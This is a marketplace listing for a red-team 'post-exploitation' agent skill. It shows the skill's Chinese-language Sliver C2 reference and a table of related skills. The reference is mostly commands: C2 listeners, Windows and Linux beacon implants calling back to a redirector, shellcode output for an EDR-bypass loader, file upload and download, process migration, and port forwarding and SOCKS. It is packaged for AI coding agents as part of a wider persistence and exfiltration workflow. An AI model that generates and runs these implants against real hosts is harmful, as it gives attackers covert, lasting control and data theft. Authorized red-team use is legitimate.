pale-knight/redteam-skill / skills/post
post
FlaggedOS post-exploitation after a stable host foothold: quiet host recon, host-native persistence (Windows Run/tasks/services/COM/WMI and Linux SSH/cron/systemd/SUID), long-term C2 (Sliver primary, Mythic/Havoc optional), targeted collection and exfil, and engagement cleanup. Does not own AD/cloud/K8s native persistence, Ligolo pivoting, LSASS dumping, or EDR bypass. Operator selects objectives; success is a live callback, verified persistence, delivered loot, or restored host — not generating an unused implant.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.4 KB |
| references/c2-opsec.md | markdown | 1.9 KB |
| references/c2-sliver.md | markdown | 2.5 KB |
| references/cleanup.md | markdown | 2.2 KB |
| references/collection-exfil.md | markdown | 1.9 KB |
| references/host-recon.md | markdown | 1.9 KB |
| references/persistence-linux.md | markdown | 3.3 KB |
| references/persistence-windows.md | markdown | 4.2 KB |
references/c2-sliver.md
View on GitHub# Sliver C2(P0)
> **TECH:** 长期 operator channel
> **成功:** `beacons`/`sessions` 里有目标,并能执行一条命令
> **不是成功:** `generate` 写出文件
> hashdump → `/creds`;getsystem → `/privesc-win`;网段 TUN → `/tunnel`
安装在 **操作机**,不要在目标上 curl install。
```bash
curl https://sliver.sh/install | sudo bash
sliver-server
```
以当前 `sliver-server --help` / 文档为准。
---
## Listener
不要把 teamserver 管理口对目标网打开。目标只应打到 redirector。
```
https --lhost 0.0.0.0 --lport 443
mtls --lhost 0.0.0.0 --lport 8888
http --lhost 0.0.0.0 --lport 80
```
出网只放 443 时用 HTTPS。DNS beacon 仅当 HTTP(S) 全死,见 `c2-opsec.md`。
---
## 生成 implant
默认 **beacon**(sleep + jitter)。session 仅短时交互。
```
generate beacon --http REDIR --os windows --arch amd64 --skip-symbols --seconds 60 --jitter 20 --name desk01
generate beacon --https REDIR --os linux --arch amd64 --skip-symbols --seconds 60 --jitter 20 --name box01
generate --http REDIR --os windows --arch amd64 --name interact
generate beacon --http REDIR --os windows -f shellcode --skip-symbols -G
```
`-f shellcode` 给 `/edr-bypass` 的 loader,不在本文件写 AMSI。落地 exe 被隔离 → `/edr-bypass` 后换格式再 `generate`。
---
## 会话
```
beacons
sessions
use <id>
whoami
pwd
ls
upload /local/path /remote/path
download /remote/path
execute -o whoami
ps
migrate <PID>
```
`execute-assembly` 跑 Rubeus 等:那是 AD/凭据作业,做完材料交 `/creds` 或让操作者选 `/ad-recon`。不要在这里展开 Kerberoast 流程。
```
# 不要当本模块主路径
hashdump → /creds
getsystem → /privesc-win
impersonate → 令牌作业,提权失败走 /privesc-win
```
---
## 网络(应急 vs 枢轴)
会话里临时:
```
portfwd add -l 8080 -r 10.10.10.100 -p 80
socks5 start
```
要扫/路由整个内网网段 → 停手选 `/tunnel`(Ligolo-ng)。C2 SOCKS 当默认枢轴会把后渗透和可达性缠死。
---
## 其它框架
| 框架 | 角色 |
|---|---|
| **Mythic** | P1。按当前 agent(Apollo/Poseidon/Athena)文档生成;不在本 skill 复制整本 |
| **Havoc** | 可选。先看 https://github.com/HavocFramework/Havoc 是否仍维护再 `make` |
| **Adaptix** | 2025–2026 开源选项,点名即可,不编 CLI |
| Cobalt Strike | 不作为本 skill 必装 |
Mythic 最小入口:起 Mythic 后按 UI/CLI 对所选 payload 生成,成功标准同样是 **callback**。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |